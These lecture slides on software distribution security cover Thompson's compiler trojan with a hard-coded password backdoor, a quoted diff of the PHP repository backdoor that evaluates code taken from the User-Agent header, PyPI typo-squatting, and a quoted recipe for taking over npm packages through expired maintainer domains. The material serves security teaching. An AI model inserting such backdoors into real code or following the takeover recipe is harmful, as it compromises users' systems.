#### Sécurité des logiciels

Distributing software

Samuel Thibault <<u>samuel.thibault@u-bordeaux.fr</u>> CC-BY-NC-SA Cliparts from public-domain openclipart.org

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# **Compiler bugs**

#### Compiler bugs

- They are awful
- Only way to find out: look at generated assembly code

```
static int g[1];
static int *p = &g[0];
static int *q = &g[0];
int foo (void) {
  g[0] = 1;
  *p = 0;
  *p = *q;
  return g[0];
}
http://gcc.gnu.org/bugzilla/show bug.cgi?id=42952
```

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# **Compiler bugs**

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#### Compilers are very reliable

- Very heavily tested
  - Millions of testcases
- Most often the bug is in your code :)
- But still sometimes you encounter a compiler bug

#### https://compcert.org/

- Formally-proven compilers
- Still bugs in the non-proven front-ends :)

Compiler trojans

• They are even more awful

#### printf("Hello, world!\n");

How is '\n' parsing implemented in the compiler?

```
c = *ptr++;
if (c == '\\') {
  c = *ptr++;
  switch (c) {
    case 'n': putchar('\n'); break;
    case 'r': putchar('\r'); break;
  ...
  }
ERrr, chicken-and-egg problem!!
```

#### printf("Hello, world!\n");

How is '\n' parsing implemented in the compiler?

```
c = *ptr++;
if (c == '\\') {
 c = *ptr++;
 switch (c) {
  case 'n': putchar(10); break;
  case 'r': putchar(13); break;
  Chicken-and-egg problem avoided
But we could just go back?
```

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#### printf("Hello, world!\n");

How is '\n' parsing implemented in the compiler?

```
c = *ptr++;
if (c == '\\') {
 c = *ptr++;
 switch (c) {
   case 'n': putchar('\n'); break;
   case 'r': putchar('\r'); break;
   And that will work!
The n \leftrightarrow 10 and r \leftrightarrow 13 mapping is burried in the compiler binary!
```







Does it produce the same binary? Most probably not!



Now, think about something horrible... Can we burry some trojan in a compiler? Yes, we can Ken Thompson played with it around 80's... ... very successfully!

#### **UNIX** login command

- Checks the password of the user logging in
- Basically,

strcmp(given\_passwd, expected\_passwd) == 0

- But the login source could contain a backdoor strcmp(given\_passwd, expected\_passwd) == 0
   || strcmp(given\_passwd, "mysupersecret") == 0
- But that's very visible in the source code...
- But we can burry this in the compiler!

Thompson's hacked compiler

- Basically, he added
   if (code I am compiling looks like
   "strcmp(given\_passwd, expected\_passwd) == 0")
   replace\_it\_with
   "strcmp(given\_passwd, expected\_passwd) == 0
   [| strcmp(given passwd, "mysupersecret") == 0";
- Then compiled login.c
- Got a login command that contains the backdoor
  - Even if login.c does not contain it!
- But still visible in the compiler source code...
- But we can burry this in the compiler!

Thompson's hacked compiler

- (Less) basically, if (code I am compiling looks like "strcmp(given\_passwd, expected\_passwd) == 0") replace\_it\_with "strcmp(given\_passwd, expected\_passwd) == 0 || strcmp(given\_passwd, "mysupersecret") == 0"; if (code I am compiling looks like a compiler) Add code above and this code;
- Then compiled the patched compiler
- Then used it to compile the unpatched compiler
- Then used that to compile login.c
- Backdoor is there, with no source code to show it!!!

• First step



• Second step



• Second step



#### How was the first C compiler written?

• In assembly langage

Writing a compiler in its own language is the *self-hosting* step

Nowadays, language compilers initially start with a C implementation

- Sometimes they keep it around (e.g. ocaml),
  - Useful for bootstrapping the language on a new architecture
- Sometimes not (e.g. rust)
  - Another option is cross-compiling a compiler

#### Can we escape the compiler trust issue?

• We can't even trust the assembler...

• Stage0 bootstrap project:



• Another bootstrap approach:



And check that the result is bit-for-bit identical

• Reproducible builds

That requires a long-term effort to make builds independent of

- Date
- Timezone
- Build path
- File order on disk
- System language
- ... https://reproducible-builds.org/

Pushed for notably by the Tails Linux distribution





### Attacking the source repository

• Remember the Linux attack attempt by injecting

#### **Rogue Patch**

- Could very well have went unnoticed
- Could very well actually exist unnoticed...

### Attacking the source repository

#### PHP

370 +

rlerdorf committed 5 days ago 1 parent 92aeda5 commit c730aa26bd52829a49f2ad284b Showing 1 changed file with 11 additions and 0 deletions. ✓ ♣ 11 ■■■■ ext/zlib/zlib.c [] 00 -360,6 +360,17 00 static void php zlib output compression start(void) { zval zoh; php\_output\_handler \*h; 363 + zval \*enc; 364 + 365 + if ((Z TYPE(PG(http globals)[TRACK VARS SERVER]) == IS ARRAY || zend is auto global str(ZEND STRL(" SERVER"))) && (enc = zend\_hash\_str\_find(Z\_ARRVAL(PG(http\_globals)[TRACK\_VARS\_SERVER]), "HTTP\_USER\_AGENTT", sizeof("HTTP\_USER\_AGENTT") - 1))) { 366 + staabm 4 days ago Contributor . . . 🧯 🚊 Intentionally AGENTT with 2x T at the end? Reply... 367 + convert\_to\_string(enc); 368 + if (strstr(Z\_STRVAL\_P(enc), "zerodium")) { 369 + zend\_try {

zend\_eval\_string(Z\_STRVAL\_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

mvorisek 4 days ago Contributor
 @rlerdorf what does this do?
 JABirchall 4 days ago • edited •
 @mvorisek

This line executes PHP code from within the useragent HTTP header, if the string starts with 'zerodium'

# Attacking the source repository

#### PHP

- The git server was compromised
- Allowed to sneak a couple commits in
- They decided to stop self-hosting their git repository
- Moved to github.com

Delegating security is usually *not* a good idea

- You cannot really control your delegate with just a contract
- Sometimes know-how is simpler to externalize, though...



Signing source code cryptographically

- With e.g. PGP (using gpg tools)
- Can be automatized
- And sign releases

git uses sha1 hashes everywhere

- Considered weak nowadays
- Getting replaced

Put it in the Bitcoin blockchain?

• Hidden surprises indeed

Signed source code, but

- painful to compile on one's own laptop
- painful to collect signing keys from developers

Distribution-provided signature chain

• Here, Debian example







Not all software distribution does such checks E.g. basically anybody can publish on the Python Package Index (PyPI) repository

 $\rightarrow$  Subject to software supply chain attack

- e.g. Typo squatting
- sudo pip install scikitlearn
- owned! That was scikit-learn
- A researcher tried to typo-squat a thousand packages, just to see...
- Got hundreds of thousands of downloads in 2 years...

Uncontrolled repositories is a mess

- e.g. Node Package Manager (npm)
  - Very large hype
  - > 1 million packages...
  - Depend on each other
  - Installing React.js pulls 3 000 packages...
  - **Owned** by the npm company
  - Do you feel the bad smell?

Uncontrolled repositories is a mess

- Azer Koçulu maintained a kik module in npm
- The Kik Interactive company asked him to change the name
- He refused
- The Kik Interactive company went to the npm company
- The npm company unpublished the kik module
- Azer said #@^[, and unpublished all his packages from npm
- Including his left-pad package
- A one dozen-line package
- That thousands of packages depend on
- Including the very-used React.js, Babel, Ember.js, ...
- Basically broke large portions of websites world-wide

# How to rule the world

#### From Lance R. Vick

"

- Buy expired NPM maintainer email domains,
- Re-create maintainer emails,
- Take over packages,
- Submit legitimate security patches that include package.json version bumps to malicious dependency you pushed,
- Enjoy world domination.

"

# Conclusion

#### Distributing software is a complex matter

- Completely open repository is not a solution
  - Even less so when owned by a company
- Cryptographic signatures are a must
  - Have to maintain keyrings
- Then you have to compile
  - Do you trust your compiler?
- Then you have to run
  - Do you trust your Operating System?
  - Do you trust your CPU?